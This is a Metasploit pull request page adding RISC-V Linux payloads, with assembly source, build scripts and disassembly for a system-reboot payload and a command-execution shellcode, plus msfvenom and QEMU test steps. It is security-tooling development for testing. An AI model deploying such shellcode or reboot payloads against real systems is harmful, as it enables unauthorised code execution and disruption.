metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

Add support for RISC-V 32-bit / 64-bit Little Endian payloads

Open bcoles opened this issue 4 months ago • 6 comments

Add support for RISC-V 32-bit / 64-bit Little Endian payloads. Includes Linux Execute Command payloads and Linux Reboot payloads for testing.

  • 32-bit payloads and NOPs were tested on QEMU riscv32 successfully
  • 64-bit payloads and NOPs were tested on QEMU riscv64 successfully
  • 64-bit payloads and NOPs were tested on MilkV Duo RISC-V 64-bit hardware successfully

Note: We don't handle syscall failure or call exit. This saves a few bytes. Note: Executing 32-bit payloads in a 64-bit environment will fail. Note: Executing the Linux Reboot payloads as a low privileged user will crash. reboot is a privileged syscall. Note: Executing the Linux Execute Command payloads in a Linux environment where /bin/sh is a symlink to BusyBox /bin/busybox (such as MilkV Duo default image) will crash. This is a WontFix for me. For testing purposes, you can work around this with: sudo cp /bin/sh /bin/sh.old && sudo cp /bin/bash /bin/sh.

Motivation

This PR lays the foundation for further development of RISC-V payloads.

RISC-V is gaining popularity. Major Linux distributions (Ubuntu, Debian, and Fedora) offer RISC-V development builds. RISC-V based SBCs and consumer-grade laptops are slowly entering the market.

Verification

Linux Reboot

Generate a Linux Reboot payload (with optional NOP sled):

  • [ ] ./msfvenom -n 100 --format elf -p linux/riscv64le/reboot > reboot.elf

Execute the payload with QEMU (I suggest doing this within an emulated Linux environment):

  • [ ] /home/user/qemu/build/qemu-riscv64 -strace ./reboot
  • [ ] Note reboot fails as a low privileged user
  • [ ] Save your work. You are about to reboot your system.
  • [ ] sudo /home/user/qemu/build/qemu-riscv64 -strace ./reboot
  • [ ] Note the system reboots

Linux Execute Command

Generate a Linux Execute Command payload (with optional NOP sled):

  • [ ] ./msfvenom --format elf -p linux/riscv64le/exec "CMD=echo Hello, World\!>/tmp/asdf" > exec.elf

Execute the payload with QEMU (optionally within an emulated Linux environment):

  • [ ] /home/user/qemu/build/qemu-riscv64 -strace ./exec
  • [ ] Note the payload was executed successfully. Hello, World! should now exist in /tmp/asdf.

Linux Reboot

Source (64-bit)

$ cat reboot.s
.global _start
.section .text

_start:
  li a0, 0xfee1dead   # magic1
  li a1, 0x28121969   # magic2
  li a2, 0x01234567   # LINUX_REBOOT_CMD_RESTART
  li a7, 142          # reboot
  ecall
$ cat build
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-as reboot.s -o reboot.o && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-ld -O2 reboot.o -o reboot --nostdlib --static && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -x reboot
$ /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -d reboot

reboot:     file format elf64-littleriscv


Disassembly of section .text:

0000000000010078 <_start>:
   10078: 0007f537            lui a0,0x7f
   1007c: 70f5051b            addiw a0,a0,1807
   10080: 00d51513            slli  a0,a0,0xd
   10084: ead50513            addi  a0,a0,-339 # 7eead <__global_pointer$+0x6d60d>
   10088: 281225b7            lui a1,0x28122
   1008c: 9695859b            addiw a1,a1,-1687
   10090: 01234637            lui a2,0x1234
   10094: 5676061b            addiw a2,a2,1383
   10098: 08e00893            li  a7,142
   1009c: 00000073            ecall

Source (32-bit)

$ cat reboot.s
.global _start
.section .text

_start:
  li a0, 0xfee1dead   # magic1
  li a1, 0x28121969   # magic2
  li a2, 0x01234567   # LINUX_REBOOT_CMD_RESTART
  li a7, 142          # reboot
  ecall
$ cat build 
#!/bin/sh
/home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-as reboot.s -o reboot.o && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-ld -O2 reboot.o -o reboot --nostdlib --static && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -x reboot
$ /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -d reboot

reboot:     file format elf32-littleriscv


Disassembly of section .text:

00010054 <_start>:
   10054:	fee1e537          	lui	a0,0xfee1e
   10058:	ead50513          	addi	a0,a0,-339 # fee1dead <__global_pointer$+0xfee0c639>
   1005c:	281225b7          	lui	a1,0x28122
   10060:	96958593          	addi	a1,a1,-1687 # 28121969 <__global_pointer$+0x281100f5>
   10064:	01234637          	lui	a2,0x1234
   10068:	56760613          	addi	a2,a2,1383 # 1234567 <__global_pointer$+0x1222cf3>
   1006c:	08e00893          	li	a7,142
   10070:	00000073          	ecall

Linux Execute Command

Source (64-bit)

Uses modexp's RISC-V 64-bit shellcode.

$ cat exec.s
.global _start
.section .text

_start:
    # execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
    addi   sp, sp, -64            # allocate 64 bytes of stack
    li     a7, 221                # execve
    li     a0, 0x0068732F6E69622F # a0 = "/bin/sh\0"
    sd     a0, (sp)               # store "/bin/sh\0" on the stack
    mv     a0, sp                 # a0 = sp
    li     a1, 0x632D             # a1 = "-c"
    sd     a1, 8(sp)              # store "-c" on the stack
    addi   a1, sp, 8              # a1 = sp + 8
    la     a2, cmd                # a2 = cmd
    sd     a0, 16(sp)             # store a0 on the stack
    sd     a1, 24(sp)             # store a1 on the stack
    sd     a2, 32(sp)             # store a2 on the stack
    sd     x0, 40(sp)             # store NULL on the stack
    addi   a1, sp, 16             # a1 = {"/bin/sh", "-c", cmd, NULL}
    mv     a2, x0                 # penv = NULL
    ecall 
cmd:
    .asciz "echo Hello, World!"
$ cat build 
#!/bin/sh
/home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-as exec.s -o exec.o && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-ld exec.o -o exec --nostdlib --static && /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -x exec

$ /home/user/Desktop/musl-cross/riscv64-linux-musl-cross/bin/riscv64-linux-musl-objdump -d exec

exec:     file format elf64-littleriscv


Disassembly of section .text:

0000000000010078 <_start>:
   10078:	fc010113          	addi	sp,sp,-64
   1007c:	0dd00893          	li	a7,221
   10080:	34399537          	lui	a0,0x34399
   10084:	7b75051b          	addiw	a0,a0,1975
   10088:	00c51513          	slli	a0,a0,0xc
   1008c:	34b50513          	addi	a0,a0,843 # 3439934b <__global_pointer$+0x34387a63>
   10090:	00d51513          	slli	a0,a0,0xd
   10094:	22f50513          	addi	a0,a0,559
   10098:	00a13023          	sd	a0,0(sp)
   1009c:	00010513          	mv	a0,sp
   100a0:	000065b7          	lui	a1,0x6
   100a4:	32d5859b          	addiw	a1,a1,813
   100a8:	00b13423          	sd	a1,8(sp)
   100ac:	00810593          	addi	a1,sp,8
   100b0:	00000617          	auipc	a2,0x0
   100b4:	02460613          	addi	a2,a2,36 # 100d4 <cmd>
   100b8:	00a13823          	sd	a0,16(sp)
   100bc:	00b13c23          	sd	a1,24(sp)
   100c0:	02c13023          	sd	a2,32(sp)
   100c4:	02013423          	sd	zero,40(sp)
   100c8:	01010593          	addi	a1,sp,16
   100cc:	00000613          	li	a2,0
   100d0:	00000073          	ecall

00000000000100d4 <cmd>:
   100d4:	6365                	lui	t1,0x19
   100d6:	6f68                	ld	a0,216(a4)
   100d8:	4820                	lw	s0,80(s0)
   100da:	6c65                	lui	s8,0x19
   100dc:	6f6c                	ld	a1,216(a4)
   100de:	202c                	fld	fa1,64(s0)
   100e0:	6c726f57          	0x6c726f57
   100e4:	2164                	fld	fs1,192(a0)
	...

Source (32-bit)

Uses modexp's RISC-V 64-bit shellcode modified for RISC-V 32-bit.

$ cat exec.s
.global _start
.section .text

_start:
    # execve("/bin/sh", {"/bin/sh", "-c", cmd, NULL}, NULL);
    addi   sp, sp, -32            # allocate 32 bytes of stack
    li     a7, 221                # execve
    li     a0, 0x6E69622F         # a0 = "/bin"
    sw     a0, 0(sp)              # store "/bin" on the stack
    li     a0, 0x0068732F         # a0 = "/sh\0"
    sw     a0, 4(sp)              # store "/sh\0" on the stack
    addi   a0, sp, 0              # a0 = sp
    li     a1, 0x632D             # a1 = "-c"
    sw     a1, 8(sp)              # store "-c" on the stack
    addi   a1, sp, 8              # a1 = sp + 8
    la     a2, cmd                # a2 = cmd
    sw     a0, 12(sp)             # store a0 on the stack
    sw     a1, 16(sp)             # store a1 on the stack
    sw     a2, 20(sp)             # store a2 on the stack
    sw     x0, 24(sp)             # store NULL on the stack
    addi   a1, sp, 12             # a1 = {"/bin/sh", "-c", cmd, NULL}
    mv     a2, x0                 # penv = NULL
    ecall
cmd:
    .asciz "echo Hello, World!"
$ cat build 
#!/bin/sh
/home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-as exec.s -o exec.o && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-ld exec.o -o exec --nostdlib --static && /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -x exec
$ /home/user/Desktop/musl-cross/riscv32-linux-musl-cross/bin/riscv32-linux-musl-objdump -d exec

exec:     file format elf32-littleriscv


Disassembly of section .text:

00010054 <_start>:
   10054:	fe010113          	addi	sp,sp,-32
   10058:	0dd00893          	li	a7,221
   1005c:	6e696537          	lui	a0,0x6e696
   10060:	22f50513          	addi	a0,a0,559 # 6e69622f <__global_pointer$+0x6e68496f>
   10064:	00a12023          	sw	a0,0(sp)
   10068:	00687537          	lui	a0,0x687
   1006c:	32f50513          	addi	a0,a0,815 # 68732f <__global_pointer$+0x675a6f>
   10070:	00a12223          	sw	a0,4(sp)
   10074:	00010513          	mv	a0,sp
   10078:	000065b7          	lui	a1,0x6
   1007c:	32d58593          	addi	a1,a1,813 # 632d <_start-0x9d27>
   10080:	00b12423          	sw	a1,8(sp)
   10084:	00810593          	addi	a1,sp,8
   10088:	00000617          	auipc	a2,0x0
   1008c:	02460613          	addi	a2,a2,36 # 100ac <cmd>
   10090:	00a12623          	sw	a0,12(sp)
   10094:	00b12823          	sw	a1,16(sp)
   10098:	00c12a23          	sw	a2,20(sp)
   1009c:	00012c23          	sw	zero,24(sp)
   100a0:	00c10593          	addi	a1,sp,12
   100a4:	00000613          	li	a2,0
   100a8:	00000073          	ecall

000100ac <cmd>:
   100ac:	6365                	lui	t1,0x19
   100ae:	6f68                	flw	fa0,92(a4)
   100b0:	4820                	lw	s0,80(s0)
   100b2:	6c65                	lui	s8,0x19
   100b4:	6f6c                	flw	fa1,92(a4)
   100b6:	202c                	fld	fa1,64(s0)
   100b8:	6c726f57          	0x6c726f57
   100bc:	2164                	fld	fs1,192(a0)
	...

bcoles avatar Sep 30 '24 17:09 bcoles